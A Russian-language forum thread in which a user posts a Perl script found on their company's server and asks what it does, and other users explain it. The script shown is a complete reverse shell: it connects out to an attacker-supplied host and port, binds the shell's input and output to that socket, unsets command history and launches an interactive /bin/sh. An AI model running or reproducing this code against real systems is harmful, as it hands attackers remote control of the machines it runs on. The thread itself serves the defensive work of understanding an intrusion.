Ещё один perl-овый шелл. Помогите разобрать..

r15b300

Новичок
Ещё один perl-овый шелл. Помогите разобрать..

Здравствуйте!

На днях пришлось столкнуться с очередным творением шеллописателей:

PHP:
#!/usr/bin/perl
use Socket;
$host = $ARGV[0];
$port = 8080;
if ($ARGV[1]) {
  $port = $ARGV[1];
}
$proto = getprotobyname('tcp') || die("");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Socket Eror\n\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  die(":(");
}
if (!fork( )) {
  open(STDIN,">&SERVER");
  open(STDOUT,">&SERVER");
  open(STDERR,">&SERVER");
  system("unset HISTFILE; unset HISTSAVE ; uname -a ; id ; w ; echo \"[+] Time to burn...\";echo \"[+] Do not fucking press Ctrl+C\"; /bin/sh -i");
  exit(0);
}

Моих скудных познаний в перле, конечно, хватило чтобы примерно понять, что он делает, но не могу разобраться - на каком сервере должно выполняться содержимое команды system() - на том, где был залит шелл (если так - то зачем тогда скрипту передавать хост и порт?) или на том, который передаётся параметром (смущают перенаправления потоков ввода и вывода)? Сейчас нахожусь в процессе нагугливания информации, но хотелось бы услышать мнение знающих людей.

Заранее спасибо!
 

fixxxer

К.О.
Партнер клуба
стандартная техника - злоумышленник биндит у себя порт, запускает этот скрипт передавая свои ип-порт, скрипт соединяется с ними и форкает шелл перенаправляя ввод-вывод в сокет

-~{}~ 15.01.08 11:11:

а зачем тебе? =)
 

r15b300

Новичок
Блин, как всё страшно-то.. Буду знать, спасибо.

А насчёт "зачем" - ну надо же знать, чего на уме у человека, который ломится на curl или wget чтобы порадовать хост нашей компании подобным произведением..
 

ys

отодвинутый новичок
r15b300

Хы, проходили, небось через дыру в xmlrpc.
 
Сверху